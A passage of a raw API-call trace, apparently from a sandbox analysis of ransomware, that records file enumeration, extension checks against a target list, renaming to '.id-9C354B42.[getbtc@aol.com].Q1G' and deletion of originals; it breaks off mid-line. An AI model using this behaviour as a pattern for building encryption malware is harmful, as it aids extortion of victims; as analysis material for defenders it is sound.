lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.034] SetEndOfFile (hFile=0x3c4) returned 1 [0266.034] CloseHandle (hObject=0x3c4) returned 1 [0266.034] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.034] SetEndOfFile (hFile=0x3a0) returned 1 [0266.037] CloseHandle (hObject=0x3a0) returned 1 [0266.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0266.037] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf")) returned 1 [0266.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0266.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0266.038] lstrlenW (lpString=".doc") returned 4 [0266.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.038] lstrlenW (lpString=".docx") returned 5 [0266.038] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0266.038] lstrlenW (lpString=".pdf") returned 4 [0266.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.038] lstrlenW (lpString=".xls") returned 4 [0266.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.038] lstrlenW (lpString=".xlsx") returned 5 [0266.038] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0266.038] lstrlenW (lpString=".ppt") returned 4 [0266.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0266.038] lstrlenW (lpString=".zip") returned 4 [0266.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.038] lstrlenW (lpString=".rar") returned 4 [0266.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.039] lstrlenW (lpString=".bz2") returned 4 [0266.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.039] lstrlenW (lpString=".7z") returned 3 [0266.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0266.039] lstrlenW (lpString=".dbf") returned 4 [0266.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0266.039] lstrlenW (lpString=".1cd") returned 4 [0266.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0266.039] lstrlenW (lpString=".jpg") returned 4 [0266.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0266.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0266.039] lstrlenW (lpString=".doc") returned 4 [0266.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.039] lstrlenW (lpString=".docx") returned 5 [0266.039] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0266.039] lstrlenW (lpString=".pdf") returned 4 [0266.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.039] lstrlenW (lpString=".xls") returned 4 [0266.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.039] lstrlenW (lpString=".xlsx") returned 5 [0266.039] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0266.039] lstrlenW (lpString=".ppt") returned 4 [0266.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0266.039] lstrlenW (lpString=".zip") returned 4 [0266.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.039] lstrlenW (lpString=".rar") returned 4 [0266.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.039] lstrlenW (lpString=".bz2") returned 4 [0266.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.040] lstrlenW (lpString=".7z") returned 3 [0266.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0266.040] lstrlenW (lpString=".dbf") returned 4 [0266.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0266.040] lstrlenW (lpString=".1cd") returned 4 [0266.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0266.040] lstrlenW (lpString=".jpg") returned 4 [0266.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.040] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0266.040] lstrlenW (lpString="J0198447.WMF") returned 12 [0266.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 79 os_tid = 0x63c [0235.787] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10000) returned 0x3a90090 [0235.787] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10000) returned 0x3aa0098 [0235.788] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581600 [0235.788] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6) returned 0x57f088 [0235.788] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581618 [0235.788] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x100000) returned 0x40e0020 [0235.788] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581630 [0235.788] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581630, Size=0x20) returned 0x614720 [0235.788] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581630 [0235.788] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581630, Size=0x20) returned 0x614748 [0235.788] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0235.788] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0235.788] Wow64DisableWow64FsRedirection (in: OldValue=0x355ff58 | out: OldValue=0x355ff58*=0x0) returned 1 [0235.788] lstrlenW (lpString="kernel32.dll") returned 12 [0235.788] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x614720 | out: hHeap=0x530000) returned 1 [0235.788] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0235.788] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x614748 | out: hHeap=0x530000) returned 1 [0235.789] Sleep (dwMilliseconds=0x64) [0235.988] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0235.988] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0235.988] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0236.088] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=89168) returned 1 [0236.088] CloseHandle (hObject=0x224) returned 1 [0236.088] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0236.088] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.088] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.088] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0236.088] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0236.088] lstrlenW (lpString=".doc") returned 4 [0236.088] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.088] lstrlenW (lpString=".docx") returned 5 [0236.088] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.088] lstrlenW (lpString=".pdf") returned 4 [0236.088] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.088] lstrlenW (lpString=".xls") returned 4 [0236.088] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.088] lstrlenW (lpString=".xlsx") returned 5 [0236.088] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.088] lstrlenW (lpString=".ppt") returned 4 [0236.088] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.088] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0236.088] lstrlenW (lpString=".zip") returned 4 [0236.088] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.088] lstrlenW (lpString=".rar") returned 4 [0236.089] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.089] lstrlenW (lpString=".bz2") returned 4 [0236.089] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.089] lstrlenW (lpString=".7z") returned 3 [0236.089] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.089] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0236.089] lstrlenW (lpString=".dbf") returned 4 [0236.089] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.089] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0236.089] lstrlenW (lpString=".1cd") returned 4 [0236.089] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.089] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0236.089] lstrlenW (lpString=".jpg") returned 4 [0236.089] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.089] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0236.089] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0236.089] lstrlenW (lpString=".doc") returned 4 [0236.089] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.089] lstrlenW (lpString=".docx") returned 5 [0236.089] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.089] lstrlenW (lpString=".pdf") returned 4 [0236.089] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.089] lstrlenW (lpString=".xls") returned 4 [0236.089] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.089] lstrlenW (lpString=".xlsx") returned 5 [0236.089] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.089] lstrlenW (lpString=".ppt") returned 4 [0236.089] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.089] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0236.089] lstrlenW (lpString=".zip") returned 4 [0236.089] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.089] lstrlenW (lpString=".rar") returned 4 [0236.089] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.089] lstrlenW (lpString=".bz2") returned 4 [0236.089] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.089] lstrlenW (lpString=".7z") returned 3 [0236.089] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.090] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0236.090] lstrlenW (lpString=".dbf") returned 4 [0236.090] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.090] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0236.090] lstrlenW (lpString=".1cd") returned 4 [0236.090] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.090] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0236.090] lstrlenW (lpString=".jpg") returned 4 [0236.090] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.090] lstrcmpiW (lpString1=".ttf", lpString2=".Q1G") returned 1 [0236.090] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0236.090] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0236.225] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=47452) returned 1 [0236.225] CloseHandle (hObject=0x284) returned 1 [0236.227] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0236.227] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.227] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.227] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0236.227] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0236.227] lstrlenW (lpString=".doc") returned 4 [0236.227] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0236.228] lstrlenW (lpString=".docx") returned 5 [0236.228] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0236.228] lstrlenW (lpString=".pdf") returned 4 [0236.228] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0236.228] lstrlenW (lpString=".xls") returned 4 [0236.228] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0236.228] lstrlenW (lpString=".xlsx") returned 5 [0236.228] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0236.228] lstrlenW (lpString=".ppt") returned 4 [0236.228] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0236.228] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0236.228] lstrlenW (lpString=".zip") returned 4 [0236.228] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0236.228] lstrlenW (lpString=".rar") returned 4 [0236.228] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0236.228] lstrlenW (lpString=".bz2") returned 4 [0236.228] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0236.228] lstrlenW (lpString=".7z") returned 3 [0236.228] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0236.228] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0236.228] lstrlenW (lpString=".dbf") returned 4 [0236.228] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0236.228] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0236.228] lstrlenW (lpString=".1cd") returned 4 [0236.228] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0236.228] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0236.228] lstrlenW (lpString=".jpg") returned 4 [0236.228] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0236.228] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0236.228] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0236.228] lstrlenW (lpString=".doc") returned 4 [0236.228] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0236.228] lstrlenW (lpString=".docx") returned 5 [0236.228] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0236.228] lstrlenW (lpString=".pdf") returned 4 [0236.228] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0236.228] lstrlenW (lpString=".xls") returned 4 [0236.228] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0236.229] lstrlenW (lpString=".xlsx") returned 5 [0236.229] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0236.229] lstrlenW (lpString=".ppt") returned 4 [0236.229] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0236.229] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0236.229] lstrlenW (lpString=".zip") returned 4 [0236.229] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0236.229] lstrlenW (lpString=".rar") returned 4 [0236.229] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0236.229] lstrlenW (lpString=".bz2") returned 4 [0236.229] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0236.229] lstrlenW (lpString=".7z") returned 3 [0236.229] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0236.229] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0236.229] lstrlenW (lpString=".dbf") returned 4 [0236.229] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0236.229] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0236.229] lstrlenW (lpString=".1cd") returned 4 [0236.229] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0236.229] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0236.229] lstrlenW (lpString=".jpg") returned 4 [0236.229] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0236.229] Sleep (dwMilliseconds=0x64) [0236.365] Sleep (dwMilliseconds=0x64) [0236.478] Sleep (dwMilliseconds=0x64) [0236.581] Sleep (dwMilliseconds=0x64) [0236.722] Sleep (dwMilliseconds=0x64) [0236.994] Sleep (dwMilliseconds=0x64) [0237.134] Sleep (dwMilliseconds=0x64) [0237.255] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0237.255] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0237.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0237.343] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=3584) returned 1 [0237.343] CloseHandle (hObject=0x210) returned 1 [0237.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0237.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0237.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0237.344] lstrlenW (lpString=".doc") returned 4 [0237.344] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0237.344] lstrlenW (lpString=".docx") returned 5 [0237.344] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0237.344] lstrlenW (lpString=".pdf") returned 4 [0237.344] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0237.344] lstrlenW (lpString=".xls") returned 4 [0237.344] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0237.345] lstrlenW (lpString=".xlsx") returned 5 [0237.345] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0237.345] lstrlenW (lpString=".ppt") returned 4 [0237.345] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0237.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0237.345] lstrlenW (lpString=".zip") returned 4 [0237.345] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0237.345] lstrlenW (lpString=".rar") returned 4 [0237.345] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0237.345] lstrlenW (lpString=".bz2") returned 4 [0237.345] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0237.345] lstrlenW (lpString=".7z") returned 3 [0237.345] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0237.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0237.345] lstrlenW (lpString=".dbf") returned 4 [0237.345] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0237.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0237.345] lstrlenW (lpString=".1cd") returned 4 [0237.345] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0237.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0237.345] lstrlenW (lpString=".jpg") returned 4 [0237.345] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0237.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0237.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0237.345] lstrlenW (lpString=".doc") returned 4 [0237.345] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0237.345] lstrlenW (lpString=".docx") returned 5 [0237.345] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0237.345] lstrlenW (lpString=".pdf") returned 4 [0237.345] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0237.345] lstrlenW (lpString=".xls") returned 4 [0237.345] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0237.345] lstrlenW (lpString=".xlsx") returned 5 [0237.345] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0237.345] lstrlenW (lpString=".ppt") returned 4 [0237.345] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0237.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0237.346] lstrlenW (lpString=".zip") returned 4 [0237.346] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0237.346] lstrlenW (lpString=".rar") returned 4 [0237.346] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0237.346] lstrlenW (lpString=".bz2") returned 4 [0237.346] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0237.346] lstrlenW (lpString=".7z") returned 3 [0237.346] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0237.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0237.346] lstrlenW (lpString=".dbf") returned 4 [0237.346] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0237.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0237.346] lstrlenW (lpString=".1cd") returned 4 [0237.346] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0237.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0237.346] lstrlenW (lpString=".jpg") returned 4 [0237.346] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0237.346] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0237.346] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0237.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0237.346] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=3584) returned 1 [0237.346] CloseHandle (hObject=0x210) returned 1 [0237.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui")) returned 0x20 [0237.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui") returned 77 [0237.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 